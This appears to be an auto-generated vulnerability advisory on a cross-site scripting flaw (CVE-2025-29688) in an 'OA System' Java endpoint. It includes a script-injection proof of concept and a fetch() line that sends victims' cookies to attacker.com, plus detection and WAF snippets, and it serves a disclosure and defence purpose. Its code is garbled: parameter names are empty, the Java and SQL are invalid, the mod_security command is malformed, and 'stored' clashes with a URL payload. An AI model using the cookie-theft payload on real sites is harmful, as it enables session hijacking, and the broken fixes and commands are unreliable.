OA System, Cross-Site Scripting (XSS), CVE-2025-29688 (Critical)

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How CVE-2025-29688 Works

This vulnerability exploits improper input sanitization in the OA System’s `/daymanager/daymanageabilitycontroller.java` endpoint. Attackers inject malicious JavaScript or HTML payloads into the “ parameter, which is then rendered unsanitized in the user’s browser. The payload executes in the context of the victim’s session, enabling session hijacking, phishing, or malware delivery. The flaw arises due to missing output encoding and insufficient validation in the Java servlet processing user-supplied input.

DailyCVE Form:

Platform: OA System
Version: < v2025.01.01
Vulnerability: Stored XSS
Severity: Critical
Date: 05/29/2025

Prediction: Patch expected by 06/15/2025

What Undercode Say:

// Exploit PoC (malicious payload):
/daymanageabilitycontroller?=<script>alert(document.cookie)</script>
// Mitigation (Java servlet fix):
import org.owasp.encoder.Encode;
String safe = Encode.forHtml(request.getParameter(""));

Analytics:

  • Attack Vector: Network-accessible, low complexity.
  • Exploitability: No authentication required.
  • Impact: Full session compromise, data theft.

Protection Commands:

WAF rule to block XSS payloads:
mod_security -c 'SecRule ARGS: "@detectXSS" deny'

Code Fix (Servlet Patch):

// Updated endpoint with OWASP Encoder:
protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
String = Encode.forHtml(req.getParameter(""));
// ... logic ...
}

Detection (Log Analysis):

-- SIEM query for XSS attempts:
SELECT FROM oa_logs WHERE request LIKE '%<script>%';

Remediation Steps:

1. Update to OA System v2025.01.01+.

2. Deploy WAF with XSS rules.

3. Audit all user-input endpoints.

Exploit Impact:

  • Cookie theft via:
    fetch('https://attacker.com/steal?data='+btoa(document.cookie));
    

References:

  • OWASP XSS Cheat Sheet
  • CWE-79: Improper Neutralization of Input

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

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